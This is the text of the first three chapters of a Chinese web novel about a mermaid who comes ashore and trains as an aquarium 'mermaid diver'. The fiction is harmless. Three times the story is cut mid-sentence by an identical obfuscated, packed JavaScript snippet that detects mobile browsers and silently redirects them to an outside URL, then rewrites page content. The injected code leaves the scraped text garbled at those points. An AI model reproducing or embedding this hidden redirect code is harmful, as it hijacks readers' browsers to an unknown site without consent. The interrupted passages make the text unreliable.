《美人鱼职业指南》 1. 梦想美人鱼 十一月份的青南，天气寒冷，呵气成冰，但这丝毫不影响游泳馆里观众们高涨的热情。 今天是美人鱼职业公开赛颁奖典礼举行的日子。 “女士们先生们” “现在，让我们以热烈的掌声，欢迎本次美人鱼职业公开赛的季军——” 余渝心如死灰地站上第三名的领奖位置，举起鲜花和奖牌左右挥动，脸上泛着淡淡的死意。 拜托！人鱼在美人鱼职业赛里获得第三名，和卓别林参加卓别林模仿大赛勇获第三名有什么区别啊！ 她震惊，她不解，她阴暗爬行。 要是让深海里的余渝爹知道这个消息，一定会打海陆漫游来嘲笑自己的！ 想到这里，余渝嘎嘣一下就想去世了。 这时，余渝在观众席里看到了一个熟悉的身影，他正举起手机朝她拍照，曾经冷峻锋利的脸上，是一副很想努力克制却怎么都隐藏不了的笑意。 余渝更加气愤起来，作出口型： 喂，对面那个潜水员！ 别看别人，说得就是你！ 你一直偷偷摸摸看着我笑是什么意思！ 嘲笑我是不是！ 别以为你长得帅我就不敢打你嗷！ “咔嚓”一声，余渝举拳威胁的可爱模样，被对面的镜头立刻捕捉了下来。 让故事回到三个月前。 “欢迎来到蔚蓝海洋馆第7期美人鱼培训！” 悦耳的女声在空旷的泳池内响起。 说话的姑娘侧卧在水边，披散着一头潮湿的红色长发，其间零星点缀着几颗海星形状的发卡，皮肤白皙细腻，笑眼盈盈。 她双肩瘦削，上半身穿着一件满是翠绿亮片的抹胸，双臂和小腹有着明显的肌肉线条。 池旁站着七八个战战兢兢的年轻女孩，她们好奇地看着她浸没在池水中的鱼尾。 嗯？ 鱼尾？ 只见她浸在水里的下半身赫然是一条硅胶鱼尾，幽绿交叠的鱼鳞闪烁着炫目的光。 乍一看，仿佛《海的女儿》中的人鱼公主当真从深海中纵身一跃，出现在自己面前。 蔚蓝海洋馆坐落于全国最大的沿海城市青南，气候条件得天独厚，天气温暖宜人，是全国热门的旅游目的地。 同时又因其地势平坦开阔、水系发达，天然具有开发旅游度假区的适宜条件。 如今，经过多年扩建，青南旅游度假区如今已是全国数一数二的综合性旅游度假区，包含欢乐世界、马戏团乐园、野生动物世界、水上乐园、海洋王国和冰雪世界等多个主题乐园。 蔚蓝海洋馆便下属于青南海洋王国，是全国最知名、拥有海洋物种最多、总容量最大的水族馆，近些年来吸引了大量游客到访此地，连续三年来都被媒体评选为“青南旅游度假区人气展馆”。 而所谓美人鱼潜水，是一种结合自由潜水技巧和表演艺术的水下表演。 表演者通过穿戴特制单蹼，模仿美人鱼的独特泳姿，在水族馆或者配备潜水池的商业广场进行潜水表演。 近年来，美人鱼潜水在全球范围内快速发展，国外各大海洋馆都逐渐开设了体验及培训班，但国内始终缺乏成体系的美人鱼潜水培训课程。 去年起，蔚蓝海洋馆决意打造“国际一流海洋馆”，首次开始引入美人鱼潜水表演，并开始举办美人鱼培训。 但，愿意报名的人寥寥可数。 毕竟对华国人民而言，美人鱼潜水员这个职业听起来实在是太过新奇。 更何况潜水员一听就是一个靠吃“青春饭”的工作，朝不保夕，务实的华国家长们更加倾向于让孩子们找一份长久些的工作。 所以，蔚蓝海洋馆的美人鱼培训课程一直都不温不火。 趁着暑假，海洋馆负责潜水培训报名的工作人员好不容易求爷爷告奶奶地招来了七八个学生。 小姑娘们心思单纯，听说是来扮演美人鱼，倒是都高高兴兴地来到了水族馆提供的学生公寓，准备开始为期一个月的美人鱼潜水培训。 * 今天便是蔚蓝海洋馆“第7期美人鱼培训”学员们的第一天水下课程。 在经历了繁杂的理论培训和陆地动作训练后，姑娘们此时看着蔚蓝的泳池，都难以按耐住心底的雀跃，期待地看着面前的美人鱼教练。 看到小姑娘们的注意力终于都集中到自己身上，红发人鱼合十手掌，红唇轻启： “我是蔚蓝海洋馆美人鱼潜水队的队长爱丽，也是本次培训的主教练” “首先我再复述一次昨天理论课中关于美人鱼潜水的相关知识” 爱丽把美人鱼潜水的安全规则、救援技巧简短地复述了一次。 或许是为了端正学员们的态度，美人教练严肃着语气，努力作出一副教导主任的模样。 “记住了！教练！”学员们齐声应答。 水族馆中开设的美人鱼潜水课程大致分为初、中、高三个等级，会在授课结束后即时考核，成功通过考核的学员能够获得相应等级的美人鱼潜水证书。 前来参加这次初级训练的小姑娘们都年纪不大，活泼得很，看着教练故作严肃的模样，先是乖乖答应，可似乎是看出了教练年纪不大、性格温柔，只安静了片刻，随后纷纷躁动不已，缠着泳池里的教练撒起娇来。 “教练，我们什么时候可以穿鱼尾呀？” “教练，穿上鱼尾我们怎么上厕所呀！” “教练，我要是来例假了，鲨鱼会咬人吗！” 诶诶诶，人群中央的人鱼教练瞬间被学员们淹没了身影。 “咯吱”一声。 泳池大门蓦地打开。 “我回来了”冷淡的女声响起。 一个高挑的金发女孩走进泳池，瞬间所有人的目光都被她那身健康的蜜色皮肤和曼妙身姿所吸引。 再定睛一看，众人才发现她年纪不大，脸颊上有零星雀斑，眼睛狭长，看着极难亲近的样子，浑身涌动着一种快要将空气冻结的气场。 她身穿一件深蓝色的潜水服，径直走到红发人鱼身边，开始打量每一个学员，仿佛海洋中的鲸鲨，睁开没有焦点的双眼，正在好好点清自己的猎物。 气氛突然安静下来，学员们像一只只小鹌鹑似的安静下来，蔫哒哒地乖乖归队。 “欢迎回来”红发女郎劫后余生般欢呼起来。 金发姑娘斜眼扫过上司有意讨好的模样，充耳不闻，冷冷开口，“我是本次培训的副教练图兰，你们有什么问题也可以向我提问”。 学员们面面相觑，突然，一个清凌凌的声音响起。 “教练，我还想问一个问题！ “我们什么时候可以入职拿工资呀！” 说话的是一个身材娇小的姑娘，看着也就一米六左右，但因为头小腿长，看着倒也称不上矮小。 她浑身肤色奶白，头发却是干枯的蜡黄色，在脑后结成一个又长又粗的麻花辫。 小姑娘眼睛出奇地大，睁大时好似圆圆的猫瞳，眼下有一颗明显的泪痣，巴掌大小的鹅蛋脸，两个小酒窝圆溜溜的，看得人心情愉悦。 几天前，她孤身一人背着一个大大的蛇皮口袋，出现在水族馆的报名处。 明明是炎热的夏日却穿着宽大且不合身的棉衣棉裤，她眯着圆眼仔细地辨认了几秒钟报名处的横幅，走到报名处桌前。 工作人员刚开始还以为是未成年的小女孩离家出走，心生警惕。 没几分钟，却被小姑娘的身世感动得涕泪涟涟，忙不迭地四处寻找纸巾。 小姑娘天生一把好嗓子，把她的故事娓娓道来。她自称从小在海边长大，家里以捕鱼为生，高中毕业后家中无以为继，自己出来谋生。 明明是一个听了很多回的狗血故事，不知怎么的，工作人员却被钩得愁肠百结、泪如雨下。 天哪，今天的自己怎么如此感性！工作人员心里暗自感慨。 他把报名协议递到小姑娘面前，看着小姑娘在签名处一板一眼地签上了自己的大名， ——余渝。 余渝从包里掏出皱巴巴的纸币，生涩地点清了报名费用，眉眼弯弯地递给报名处的工作人员。 一旁的教练们看着余渝外形条件不错，看了眼身份证上的出生日期，小姑娘也的确刚刚成年，于是心一软，叫她填写好家人的联系方式和家庭住址，就告诉她可以提着行李去临时提供的宿舍报道了。 小姑娘提着沉重的行李和出门前余渝爹塞来的小鱼干，脚步轻巧地把行李提到四楼宿舍，翻出钥匙打开房门， 这是一间十平米左右的单人宿舍，内里只有四五件必要的家具，余渝却好奇地左看右看，最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337927|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜不自禁地往床上重重一躺，整个人都散发出幸福的气息。 这时，门外传来一声砸地似的巨响。 * “入职工资？” 图兰一时间好气又好笑。 很少有人是一心奔着成为一名专业的美人鱼潜水员前来参与培训的。 美人鱼潜水员大多只招聘30岁以下的女性，是一碗众所周知的青春饭。 更何况美人鱼的光鲜亮丽背后，是无数次表演前饥肠辘辘却不敢吃饱，是无数次被水中消毒剂刺红的双眼，是无数次冬日里在水里待了一整天后，从双耳蔓延的刺痛。 大部分学员学习美人鱼潜水不过是出于兴趣爱好——当然也有人是为了在朋友圈狠狠PO图，满足自己的虚荣心。 这个一心冲着钱来的小姑娘，根本不明白这份工作意味着什么。 “水族馆会择优录取成功通过高级美人鱼考试的学员，但是——”，图兰看着这个小姑娘，语气突然有了一个生动的转折。 “但是，不知道你能不能坚持到那个时候呢” 图兰见过太多被自己训得眼泪汪汪的娇气包了，她们最开始时无一不是雄心万丈，但是很快都会被现实狠狠教做人。 与其放任面前这个小姑娘在这里浪费时间，不如立刻让她放弃成为美人鱼潜水员。 “我可以坚持！只要成功通过高级美人鱼考试就可以被录取吗？”小姑娘毫无所觉般地继续发问。 “当然”图兰忽地露出一个微笑。 完蛋！爱丽可太懂的自己这位同事的雷区了，图兰最那种厌恶半途而废的人，她面子上笑得越灿烂，底子里不知道酝酿着多少玩死你的办法呢。 这姑娘真是不知天高地厚，简直是在图兰的底线狠狠蹦迪。 泳池内的氛围一时陷入胶着，爱丽赶忙开口打起圆场。 “既然主教练和副教练都到齐了” “那么，蔚蓝海洋馆第7期美人鱼训练，正式开班！” 爱丽自顾自地鼓起掌来，实习的小姑娘们觑了觑副教练不妙的脸色，附和着发出零星的掌声。 眼瞅着图兰也开始不耐地鼓掌，掌声才蓦然变大。 至于余渝，她对众人的心理变化毫无所觉。 “接下来的一个月，大家会成为同学，同吃同住，先来介绍一下自己吧！”爱丽轻柔地招呼道，简直像个幼儿园里逗弄小朋友的幼教老师。 按照队列顺序，姑娘们纷纷介绍起自己的姓名，年龄和家乡，直到轮到了站在最后一排的余渝。 “小不点，你怎么站在最后一排！你成年了吗？”高过余渝一头的高挑女人不由分说地把她拎到第一排。 “图兰，温柔点嘛！”受限于鱼尾无法站立，爱丽只能继续坐在原地，用言语阻止这位同事。 余渝几乎是被挟持在图兰的怀抱里走到了第一排，此时尚且沉浸在被人类强抱的震撼里。 体验过一打开家门，就被一只晃着尾巴小金毛狠狠贴脸、脸颊被狂舔的感受吗？ 现在她就是这种感觉。 ［雌性人类香香，想要继续贴贴］ 余渝开始幻想着躲进图兰波涛汹涌的怀抱，狠狠狂吸。 或许是害怕图兰吓到了这个娇小的小姑娘，爱丽赶忙为她解围，“介绍一下自己吧”，爱丽眨了一下左眼，为余渝鼓劲。 “我叫余渝”其实真名是&￥[[)～$%]]（一串意义不详的人鱼文）。 “19岁”其实是193岁，在人鱼这样的长生种里，她也才刚刚成年哦。 “高中毕业”从人鱼高级孵育园毕业，其后高分通过了上岸中介的考试，成功上岸。 “我的梦想是赶紧赚钱买房，把父母接过来一起住”她信誓旦旦地说道。 在陆地上努力赚钱，然后买上一套大大的房子，然后把余渝妈和余渝爹接到陆地上一起住。 余渝爹可喜欢看陆地上的电视剧了，每次有某个当红女星的剧播出，他都雷打不动地守在贝壳显示器前。 传闻中不平凡的梦幻美人鱼，也有着一个再平凡不过的梦。 没错！ 余渝，193岁。 刚刚从人鱼高级孵育园毕业，目前待业。 作为一条上岸人鱼，她未来的工作是 ——在水族馆扮演一条美人鱼！ 2. 离家美人鱼 作为一条人鱼，余渝的祖上也是富过的。 按照那本厚厚的族谱追根溯源，几千年前他们家也是人鱼皇室的一员呢。 只是时代变了，人鱼族现在也是君主立宪制，余渝家只能守着一个空头爵位穷苦度日，上次吃鲨鱼肝脏，还是好几年前呢。 想到那柔韧的口感和丰盈的汁水，余渝赶忙擦了擦嘴角不存在的口水。 作为一个没落贵族的后代，余渝的父母望子成龙。 他们卖掉了家里的珊瑚田，给上岸中介交了大笔中介费，送余渝上岸“留学”。 岸上的世界，在人鱼眼里可颇为了不得呢！ 不说那些形形色色的电子产品，就说那些小说、电影和电视剧，最近十年可是在人鱼族里卷起了一阵阵风靡的浪潮呢！ 谁没有和小姐妹一起蜷缩在大贝壳里，一边吃妈妈腌制的海蛞蝓，一边为逃出宫外的还珠小队惴惴不安？ 谁又没有拿着一根长长的红色珊瑚，披着海带做成的披风，扮演齐天大圣，和小伙伴们在鱼群里来回追逐！ 最重要的是，人鱼真的超级、超级喜欢人类！ 就像人类喜欢猫咪和狗狗一样，人鱼也喜欢暖呼呼、软唧唧、毛茸茸、还会叽叽喳喳的人类！ 可以说人类完全长在了人鱼的审美点上！ 曾有一条好奇的小人鱼尾随着人类的深海探测艇，透过舷窗偷偷打量，结果把一个无意偏头的人类吓得心肌梗死。 毕竟在没有一丝光线、声响的深海里，转头看见舷窗外一个咧着赤红大嘴的微笑人头，谁会不害怕啊？ 那只小人鱼也很委屈，“虎鲸的撸人攻略上说，人类常用笑容表示善意呀，我都已经笑到耳根了！”， 最终，他因为吓人致死罪被判处100年监禁。 从此，人类政府便和人鱼族约法三章，禁止人鱼在人类深海科考期间偷偷尾随，哦，提前报备除外。 可是，要去看深海潜水艇里的可爱人类，抢票难不说，费用也十分昂贵，这使得不少手速慢、手头紧的人鱼苦恼不已。 但是人鱼是海洋里智商最高的物种，这点困难怎么能难住他们想要亲近人类的心呢。 海洋里人类无法生存，但人鱼可以上岸去看人类鸭！ 于是，上岸中介应运而生。 上岸中介，顾名思义，是帮助人鱼完善陆地知识，介绍基本生活条件和相关事物，组织上岸考试，和人类政府互通有无，为人鱼办理合法证件，帮助有意前往陆地生活的人鱼“无痛”上岸的公立机构。 随着“上岸”潮的风靡，越来越多的人鱼家长把自己的孩子送到陆地镀金。 从陆地回到海洋继续工作的人鱼，也能借着上岸的经历找到一份工资丰厚的好工作。 与此同时，上岸中介的中介费用也越来越高昂。 这可愁坏了余渝爹，从海马驿站里收到最新的中介传单后，他时常揪住自己顺滑的蓝色长发，翻出自己的私房珍珠，一颗颗地细数。 “呜呜呜，怎么办，中介费越来越贵，我的珍珠也越来越不够了”余渝爹游动着飞速扑进余渝妈怀中，泪水顺着他白皙秀美的脸颊滑落，化作一滴滴小小的珍珠。 虽然人鱼滴泪成珠，但是人鱼族内泪型珍珠并不能算作货币交易，只有圆润饱满的天然珍珠被当做货币使用，珍珠越大，币值越高。 得益于有一个爱哭的父亲，余渝小时候时常把爸爸流下的泪珠收集起来，串成首饰卖，被余渝爹抓包后，父女二人一拍即合，合伙干起了首饰生意，父女俩攒起了一笔小小的私房钱。 余渝爹把所有赚来的珍珠藏进了一个大蚌里，在蚌壳上刻下“余渝的上岸费”，他每天晚上睡觉时都把蚌壳偷偷抱在怀里，想要给妻子和女儿一个惊喜。 可惜自从有一天，余渝发现妈妈若无其事地打开蚌壳，往里面扔了两颗买菜剩下的小珍珠后，就只剩下余渝爹一条鱼珍藏着这个可爱的秘密了。 此刻，余渝妈盯着丈夫手里被攒得皱皱巴巴的传单沉默不语，她紫色的头发在海水里上下浮动，这个睿智的家庭领袖又一次开始思考女儿的未来。 终于，她发话，“不能再等了，余渝必须今年上岸！”，余渝马上就要从高级孵育园毕业，如果没有及时找到工作或者上岸“留学”，势必会成为一条被人看不起的无业游鱼。 余渝妈是这个小家庭说一不二的主心骨，她曾带领余渝家数次穿越洋流，四处迁居，避免其他族人发现余渝的“秘密”。 作为一位人鱼旅行家，她碰巧经过人鱼都城，与余渝爹相识，此后这条没出息的雄性人鱼毅然决然地抛弃了家族，随妻子四处旅行，被整个族群不耻唾弃。 余渝尚在卵中时，这对新手夫妻青涩而缺乏经验，竟把卵不慎落进了深渊。 或许是天生如此，亦或是寒冷的深渊影响了孵育条件，虽然余渝爹和余渝妈及时将卵捞回，可他们悲伤地发现，破卵而出的女儿竟然不会流泪。 大海啊，这可真是太糟糕了。 流泪成珠是海神给人鱼族的赐福，他们可怜的女儿，难道是条不被海洋祝福的小人鱼吗？ 他们找到不知活了多少岁的海女巫，白发苍苍的年老人鱼颤巍巍的指着余渝说“神降！是神降！” “呜呜呜，都怪我没有看好卵，都是我的错”抱着干嚎不已的小女儿，余渝爹靠在妻子怀里嚎啕大哭，滴落了一地的小珍珠。 是回归族群，让女儿忍受旁人的冷眼，亦或是隐世而居，成为族人口中的异类？ 坚毅的旅行家抱住自己丈夫和女儿，发誓要一辈子保护他们。 按照人鱼族的传统，生下小人鱼后，为了孩子的安全，人鱼父母会一直定居在一处，直到孩子成年。 可为了保护女儿，也为了自己环游世界的愿望，这条坚强的雌性人鱼决定违背天性，带着全家人继续旅行。 她驯服了一条温顺而庞大的鲸鱼，把全家的家当驮在它背上，开始了环游世界之旅。 于是，不会流泪的余渝拥有了其他小人鱼羡慕到流泪的童年生活。 她曾和余渝爹在马里亚纳海沟探险，寻找人鱼族祖先留下的宝藏；也曾和家人躲在礁石下，观察海底火山的喷发和岩浆的流动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337928|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们游到了南极，与爱骂脏话的虎鲸比赛游泳；也曾在某个夜晚探出海面，看向天空五彩斑斓的极光。 北极圈内，绚烂的极光散发着色彩变幻的光晕，余渝抬起头，呼出一口白气。 余渝蓝紫相间的发尾在水里轻轻摇晃，她看向不远处相拥的父母，决定给他们一些私人时间，开始衷心期盼年底就能有一个弟弟或妹妹降生。 这样的旅行时光，一直持续到二十年前。 余渝应该上学了。 随着人类文化在海底的传播，海底也逐渐开始兴起学校一类的东西，旨在教授小人鱼基本的求生技巧。 余渝一家停了下来，余渝妈拿出这么些年的积蓄，在学校旁买了一幢小小的珊瑚房子和一小片珊瑚田，夫妻二人在珊瑚田里养殖珠蚌，供余渝上学。 在学校里，余渝结识了很多同龄的同学，同学们邀请余渝到到家里看人类的电视剧，剧情发展到虐心处，小人鱼们个个涕泪交加，唯有余渝正襟危坐。 拜托，这样超酷的好吗！ 小人鱼们觉得余渝不愧是见了大世面的鱼，竟然能对还珠格格也无动于衷。 除却不会流泪，余渝哪里都好，身体好，成绩好，性格好——除了有些时候实在太财迷。 这样优秀的余渝让余渝爹和余渝妈心里更加愧疚，如果当时没有把余渝落进深渊，自己的孩子会是一条多么幸福的小人鱼啊。 余渝倒是对自己的残缺不甚在意，毕竟多亏如此，她才会有了如此快乐的童年。 看着女儿稚嫩而快乐的脸庞，余渝妈决定卖掉家门旁那片小小的珊瑚田，凑足中介费送女儿上岸。 自己上岸后，余渝爹和余渝妈会有多孤独啊。 没了她，余渝爹的贝壳显示器要是坏了该找谁去修？余渝妈永远算不清的家庭账本又该由谁来算？ 余渝从没想过自己将要离开父母这么长的一段时间。 她来到人鱼图书馆，查阅了人鱼上岸条例，发现只要上岸的人鱼拥有一处足够面积的陆地房产，就可以把拥有直系血缘关系的亲属接到岸上长时间居住。 同时，上岸中介不允许人鱼把海洋的宝藏带到陆地扰乱市场，因此余渝只能在陆地凭借自己的本事赚钱买房。 搜索了陆地的房价和人均工资后之后，余渝沉默了…… 于是，上岸后尽快找到一份好工作和攒钱买房成为了余渝的那一年的生日愿望。 很快，在结束了为期一年的中介培训之后，余渝以高分通过了上岸考试，拿到了合法的人类证件，踏上陆地。 小包袱里背着余渝爹的祖传药膏和余渝妈的拿手小鱼干，余渝按照中介的推荐来到了一家海族馆，报名了美人鱼培训班。 “你只需要本色出演就好”中介这样说。 “没人比美人鱼更懂得如何扮演一条美人鱼”中介补充道。 听起来很简单的样子呢。 后来，功成名就、成为“”人鱼上岸榜样”的余渝在自传里写道： “千万要小心中介为了上岸就业率说出的鬼话啊啊啊啊！！！” 3. 毕业美人鱼 日光在碧蓝的泳池里泛出金色的重影。 余渝在水下狠狠地呛了一口水。 泳池里其他的姑娘们三三两两地聚集着，面露同情。 可恶！ 余渝爹要是知道她被一群人类同情不会游泳，一定会笑抽过去的。 是的，余渝有点尴尬地发现，她好像“忘记”该怎么游泳了。 这时候你可能想问，人鱼怎么可能忘了怎么游泳呢？ 在人鱼上岸中介，所有人鱼都会学习变出人腿的幻术。 可是在幻化出的人腿上穿上单蹼和鱼尾游动，对于人鱼而言无异于带着锁链跳舞。 “喂，小不点，就是你！你要把泳池里的水喝光吗！继续！”爱丽今天在水族馆表演，把小姑娘们交给了图兰训练。 爱丽在离开前给了每个小姑娘一个大大的拥抱，“加油哦，么么哒！” 小姑娘们眼含热泪地看着爱丽离去的身影，战战兢兢地准备迎接图兰的狂风暴雨。 但其实，也还好？ 这位严苛暴躁的副教练看着可怕，却并不会随意骂人，大部分学员在掌握了水中技巧后都不会被她刻意为难。 但，总有例外。 参加美人鱼训练的学员们，大多已经有了游泳的经验，因此图兰看到在水里笔直下沉的余渝，活像是见到了一只不会走路的大猩猩。 还能如何呢？已经把这个小不点收进来了，总得让她学会游泳吧，图兰咬了咬后牙，深深地叹了口气。 “学会换气！你的鼻子是摆设吗！”岸上的图兰大声喊道。 抱歉，余渝的鼻子真的是摆设。 人鱼的呼吸大多是依靠脖子两侧的腮孔，从海水中摄取氧气，基本不需要上到海面换氧。 即使余渝依靠幻术隐藏了腮孔的存在，但它依旧存在并执行着自己的功能，这导致余渝没有办法像人类一样，意识到自己什么时候应该浮到水面换气和调整动作。 于是，大家只能看到娇小的姑娘像虫蛹一样在水里不自然地扭动，又迟迟游不上去换气。 只见图兰教练叉着腰，仰头狠狠地深吸一口气，径直冲到水里把这小不点捞了上来。 余渝也没有办法接受自己变成一只不会游泳的人鱼。 这种落差感真的很伤鱼啊，哭泣。 她看着图兰一次次把自己从水里捞上来，不仅眼睛被池水里的消毒剂泡得泛红，还累得气喘吁吁的模样。 一点新奇的酸涩涌现出来。 和小时候不小心放跑母亲带回家的金枪鱼一样，这是愧疚的感觉。 碧蓝的泳池泛着粼粼的光，其他学员们看着余渝呛水的模样爱莫能助，不觉放低了交谈的声音，在心里暗自为她鼓劲。 一时间，游泳馆里的气氛一片安静下来。 望着面前回不过神来的小不点，图兰深吸一口气。 “冷静下来”图兰扶住余渝的双腮，轻拍两颊，示意她集中注意力。 “你要想象，你就是一条鱼，海水会温柔地拥抱着你，而鱼尾会借助着水势，保证自己在水中浮动” “这里是浅水区，我会扶着你的腰，站定后，你面朝下，看向泳池底部，双臂张开，漂浮在水面” “不要害怕，我会扶住你，你不会下沉” “你需要做的就是，相信我” “感受水流的波动” “弯曲腰肢，借助腹部的核心力量，摆动鱼尾” 图兰的手臂，好有力。 余渝心里只剩下这个念头。 余渝感受到整个身体的重量似乎都被她所分担。 此时的余渝面向水底，双耳也被池水浸没，透过泳镜，只能望见池底青绿色的瓷砖。 水面下寂静无声，五感被无限缩小，她下意识跟随着图兰的指令，逐渐收紧小腹核心。 诶？ 好熟悉的感觉。 小时候，她和母亲一起偷偷潜入伸手不见五指的海沟时，同样也被乱流经常扰动，难以前行。 那时的她是怎样游出海沟的呢？ 啊，想起来了。 那时的母亲紧紧牵着自己，手臂就像图兰一样有力。 她教会自己如何在黑暗中依靠水流的拍打在身上的触感，识别方向，避开岩石和深海中的乱流。 教会自己如何在光明无法触及到深渊中，撕扯开鲨鱼的身体，根据血液的气息追踪他逃亡的方向。 但是自从来到陆地，自己是不是越来越依赖视觉和听觉了呢？ 她是不是，太过于在意腿上不属于自己的鱼尾了呢？ 余渝闭上双眼，任由池水轻轻围绕着自己，耳边图兰的声音越来越远，她开始逐渐遗忘脚上那双沉重，紧紧包裹着双脚的脚蹼。 海洋轻轻拥抱住自己身在他乡的女儿。 她轻轻摆动鱼尾。 * 江冉站在岸边，和同伴们一起担忧地看着漂浮在水面的姑娘。 她是三天前认识余渝的。 江冉的父母都是高中老师，教育向来严格，高压环境下，她养成了温吞怯懦的性格，对父母的控制敢怒不敢言。 她曾以为这辈子都会一直生活在父母的控制下。 可变故发生了。 半个月前，母亲查询到了她的高考分数，发现比预期分数低了10分，极有可能无缘报考他们预期的学校和专业。 于是，噩梦开始了。 父母开始对她视而不见，无论自己怎样跪在他们面前哭泣解释，父母都回以沉默。 他们依然会对彼此说说笑笑，可是一碰上她，就立刻收敛住表情，连一个眼神都奉欠。 就好像，他们早已把这个不争气的女儿当成了空气。 江冉想，他们是否是在用自己的态度说明，这个家庭不需要像她这样不合格的女儿。 在日复一日的冷暴力下，江冉的心情从恐惧，愤怒，悲伤演变到平静。 自从高考成绩出来后，父母没再和她说过一句话，也没再给她过一分钱。 福兮祸之所依，江冉终于遇到了一点幸运的事：她报考了自己喜欢的学校和专业。 与此同时，江冉隐约意识到，父母不会再给她大学的学费了。 她按照录取通知书里的程序，给自己办理了学业贷款。 去街道办盖章时，办事处的阿姨认得江冉，看到她攥着的资料和发白的指尖，叹了口气，沉沉地盖了章。 解决了学费的忧虑，现在，她得靠自己凑足食宿费。 几天前，她在网上看到了水族馆开班授课的消息。感谢父母曾经给她报的各种兴趣培养班，她曾经接触过美人鱼潜水，有一定基础。 但是那时培训时间有限，她没有参加考核，获得证书。 看到大学所在地的青南水族馆开展培训后，她心中若有所动。 那天中午，她拎着收拾好的行李打开房门，时值暑假，父母都不上班，正坐在客厅的沙发上看电视。 听到她打开房门的声音，两人双双面无表情，不回头，也不出声，继续沉默地盯着电视屏幕，莹白的光打在他们迷糊不清的面容上，江冉好像第一次看清了父母的样貌。 她带着所有的压岁钱，拎着沉重的行李箱，站在入户门前低声开口：“爸、妈，我走了”。 无人回应。 即便早就预料到这样的结果，江冉此时还是忍不住眼眶一酸。 她轻轻打开门，轻轻地，离开了前半生的家。 遇到于渝那天，她一个人拎着沉重的行李箱，不慎摔倒在余渝的宿舍门口。 圆眼睛的姑娘笑意盈盈，脑后垂着一根又长又粗的麻花辫，她听到江冉的倒地声，打开房门查看。 看到自己磕伤的双腿后，她被邀请进入余渝的宿舍涂点药。 娇小的姑娘从偌大的蛇皮袋里掏出一个药瓶，神神秘秘地说这是自己的家传密药，给她涂抹在膝盖的伤口后，轻轻向伤口吹气。 “痛痛飞飞哦” 或许是因为从来没有人对自己说过这样的话，江冉感觉自己的眼睛又酸涨了起来，一滴泪水打在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337929|183406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板。 然后，泪珠子越来越密。 那天啊，江冉哭得超级大声，把余渝吓得在狭窄的宿舍里团团乱转。 她一边手忙脚乱一边说“不应该呀，余渝爹的海藻神药怎么会失效呢，难道是干了吗”，余渝沾了一点药送进口里，随即被苦得嘶哈乱窜。 看着余渝被苦得尾巴冒烟的样子，江冉破涕为笑。 那天后，余渝经常给江冉送来自家的小鱼干，江冉也知道了于渝出身渔村，家里没什么钱，所以才会来水族馆培训，打算打工赚钱买房，接爸妈过来和她一起住。 真好啊，余渝能够有爱她的父母。 只要看着她，江冉似乎又能舔舐到一点父母关爱的甜，缓一缓心里的苦。 或许是上天给予了余渝幸福的家庭，却收走了她游泳的能力。 江冉没想到余渝的确在潜水这方面……天赋欠佳。 看着她一次次沉入池水，又一次次浮出水面的样子，江冉忍不住为余渝捏了把汗。 眼看图兰教练托起余渝后，她漂在水中一动不动的样子，江冉，还有其他的学员们，都忍不住在这一刻屏住呼吸。 ［加油啊！］ 所有的女孩子都在心里默默为余渝鼓劲，前几天的课程相处下来，大家都很喜欢这个爱笑的小妹妹。 突然，只见水中的少女猛然摆动鱼尾，向前一窜，她的鱼尾好似突然活过来似的，在池水中灵活地左右摆动。 “好样的，余渝” 被甩了一脸水的图兰教练怒极生笑，一个鸭式入水，追着余渝使劲游动，都没抓住她的尾巴。 “啊啊啊啊啊啊！” 江冉这才发现，自己早就和身边几个临近的女孩子抱成一团，垫着脚尖蹦蹦跳跳，为余渝高声欢呼。 现在，泳池里尽是女孩们的欢声笑语和高声呐喊。 * 余渝是被众人的欢呼声惊醒的。 她感觉自己好像回到了海洋里，找回了从前海洋里的自如，忍不住在泳池里来回游动起来。 终于，她游到池畔，探出头来。 刚一探头，她就立刻被岸上的同学们拽出水面，紧紧拥抱住一起欢呼。 精疲力竭的图兰钻出水来，看着一圈小姑娘围着余渝欢呼雀跃的模样，忍了忍还是没能按耐住嘴角的笑意，笑骂道：“臭丫头！”。 那天下午，姑娘们围在一起，相机高高举起。 “一、二、三，茄子——” 闪光灯亮起，这一刻的喜悦和友谊被全部定格。 全身湿漉漉的圆眼姑娘被围在正中，一副受宠若惊的模样，有的人挽着她的手，有的人捏着她奶白的腮肉，有的人在她的头顶比耶，还有人把她粗长的发辫高高举起。 诶？怎么像是在争宠？ 嗯，一定是你眼花了。 画面里的女孩们来自天南海北，可所有年轻姣好的面庞都涌动着相似的喜悦。 最终，这张照片作为毕业照，被蔚蓝海洋馆放到了第7期美人鱼培训结业的官网公众号上。 * 